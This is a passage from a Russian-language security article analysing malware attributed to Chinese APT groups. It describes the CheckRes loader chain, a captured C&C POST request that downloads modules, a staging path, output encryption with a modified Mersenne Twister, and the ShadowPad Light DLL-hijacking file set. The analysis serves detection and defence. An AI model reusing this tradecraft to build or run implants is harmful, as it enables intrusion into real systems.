CheckRes, PowershellRAT и другие. Что мы нашли в арсенале китайских APT-группировок

  • Партнер

  • Содержание статьи

    • CheckRes
    • Загрузка
    • Модули
    • Вихрь Мерсенна
    • ShadowPad Light 2021
    • Загрузка
    • Сравнение с предыдущей версией ShadowPad
    • PowershellRAT
    • RemShell, Smanager, Mail-O
    • PythonRAT
    • Выводы

    В 2021 году китай­ские APT-груп­пиров­ки вели себя осо­бен­но активно. При этом у каж­дой из них был свой уни­каль­ный инс­тру­мен­тарий. Перело­патив тысячи строк вре­донос­ного кода, пой­ман­ного во вре­мя рас­сле­дова­ния инци­ден­тов, мы обна­ружи­ли немало любопыт­ных фишек, о которых и рас­ска­жем в этой статье.
     

    CheckRes

     

    Загрузка

    Для запус­ка основной наг­рузки этот вре­донос исполь­зует пять фай­лов, которые пос­ледова­тель­но запус­кают друг дру­га. Как это работа­ет, вид­но на рисун­ке ниже. Основная наг­рузка запус­кает­ся фай­лом cmd, который появ­ляет­ся в сис­теме в самом начале работы вре­доно­са. Но при этом сам файл cmd запус­кает­ся еще не сущес­тву­ющим в сис­теме скрип­том на VBS. Такой ком­плексный под­ход к запус­ку основной наг­рузки, веро­ятно, нужен для того, что­бы обой­ти поведен­ческий ана­лиз.

    Схе­ма заг­рузки CheckRes 

    Модули

    В начале работы полез­ной наг­рузки с уда­лен­ного сер­вера заг­ружа­ются модули.

    POST-зап­рос для получе­ния модуля
    POST /cgi-bin/pcupd.cgi/http/param_id.000 HTTP/1.0
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*
    Accept-Language: de-at
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
    Host: <IP>
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 31
    Connection: Keep-Alive
    lab=3999/06171252&size=1&data=F

    С сер­вера может быть выг­ружено до 16 модулей.

    Заг­рузка модулей CheckRes

    Мо­дули при­ходят в теле HTTP-зап­роса. Они запако­ваны, закоди­рова­ны Base64 и окру­жены тегом <update>.

    Мо­дули пред­став­ляют собой DLL-фай­лы, где заголо­вок‑заг­лушка MS-DOS запол­нен нулями (вид­но на скрин­шоте ниже). При заг­рузке с C&C пар­сится таб­лица импортов и релока­ции. Пос­ле это­го для запус­ка модуля вызыва­ется entrypoint DLL-фай­ла, где про­исхо­дит соз­дание потока. Соз­дание потока необ­ходимо, если тре­бует­ся про­дол­житель­ная работа модуля, пос­коль­ку исполня­емый файл работа­ет в одном потоке.

    За­голо­вок модуля CheckRes

    Каж­дый модуль выводит информа­цию о сво­ей работе в файл, который рас­положен по сле­дующе­му пути:

    %allusersprofile%{F3F85CAE-3398-45f6-98C2-7DBFD3F3042C}

    Файл вывода каж­дого модуля име­ет свое рас­ширение (нап­ример, .cap, .kst, .rdd). Содер­жимое фай­ла зашиф­ровано при помощи опе­рации XOR с генера­тором псев­дослу­чай­ных чисел «Вихрь Мер­сенна».

     

    Вихрь Мерсенна

    Мо­дули для шиф­рования выход­ных дан­ных исполь­зуют нек­риптог­рафичес­кий генера­тор псев­дослу­чай­ных чисел «Вихрь Мер­сенна» с изна­чаль­ным зна­чени­ем (seed) 11. Все парамет­ры соот­ветс­тву­ют стан­дар­тно­му алго­рит­му для генера­ции 32-бит­ных зна­чений. В каж­дом модуле есть нес­коль­ко харак­терных осо­бен­ностей, свя­зан­ных с реали­заци­ей алго­рит­ма. Во‑пер­вых, это изна­чаль­ная ини­циали­зация мас­сива, которая пов­торя­ется два раза: при пер­вом запол­нении зна­чение seed уста­нав­лива­ется рав­ным 5489. Затем, никак не вли­яя на пре­дыду­щее запол­нение, мас­сив запол­няет­ся пов­торно со зна­чени­ем seed, рав­ным 11.

    Двук­ратная ини­циали­зация мас­сива

    Есть еще одна осо­бен­ность: исполь­зует­ся мас­сив, рав­ный двум поряд­кам рекур­рен­тной пос­ледова­тель­нос­ти, а имен­но 1248. Таким обра­зом, изна­чаль­но ини­циали­зиру­ется пер­вая полови­на мас­сива, пос­ле чего сог­ласно алго­рит­му на осно­ве пер­вой час­ти генери­рует­ся вто­рая полови­на мас­сива. При исполь­зовании всех 624 сге­нери­рован­ных эле­мен­тов вто­рой полови­ны пер­вая затира­ется. А на осно­ве вто­рой полови­ны по рекур­рен­тно­му соот­ношению запол­няет­ся уже пер­вая.

    В ито­ге одна полови­на мас­сива всег­да содер­жит дан­ные для генера­ции дру­гой час­ти. Мож­но было бы пред­положить, что это сде­лано, что­бы упростить реали­зацию: исполь­зование одно­го цик­ла для запол­нения мас­сива уже псев­дослу­чай­ными чис­лами вмес­то двух. Но при запол­нении пер­вой час­ти все же при­ходит­ся делить алго­ритм запол­нения мас­сива на два цик­ла, как это реали­зова­но здесь.

    И пос­ледняя осо­бен­ность каса­ется «закал­ки» псев­дослу­чай­ного чис­ла. В изна­чаль­ном алго­рит­ме пред­полага­ется сна­чала битовый сдвиг на кон­стан­ту, а затем про­изво­дит­ся побито­вое логичес­кое И. Здесь же порядок изме­нен, что пов­лияло на кон­стан­ты, исполь­зуемые для этой опе­рации. Так, кон­стан­та 0xefc60000 здесь пред­став­лена в виде зна­чения 0xFFFFDF8C.

    За­кали­вание псев­дослу­чай­ного чис­ла 

    ShadowPad Light 2021

    ShadowPad Light — облегчен­ная вер­сия ори­гиналь­ного ShadowPad без обфуска­ции кода. Нес­мотря на то что этот семпл очень похож на ори­гиналь­ный ShadowPad, у него есть свои осо­бен­ности.

     

    Загрузка

    ShadowPad Light пос­тавля­ется тре­мя фай­лами:

    • hpdigital.exe — легитим­ный исполня­емый файл, име­ющий под­пись ком­пании HP;
    • hpqhvsei.dll — вре­донос­ная биб­лиоте­ка, заг­ружа­ется пос­редс­твом тех­ники DLL hijacking;
    • hpqlpvdt.tmp — шиф­рован­ная наг­рузка, которая содер­жит рас­паков­щик и полез­ную вре­донос­ную наг­рузку, так­же хра­нит в себе пер­воначаль­ный необ­ходимый для работы набор модулей.

    Источник: xakep.ru

    Ответить

    Ваш адрес email не будет опубликован. Обязательные поля помечены *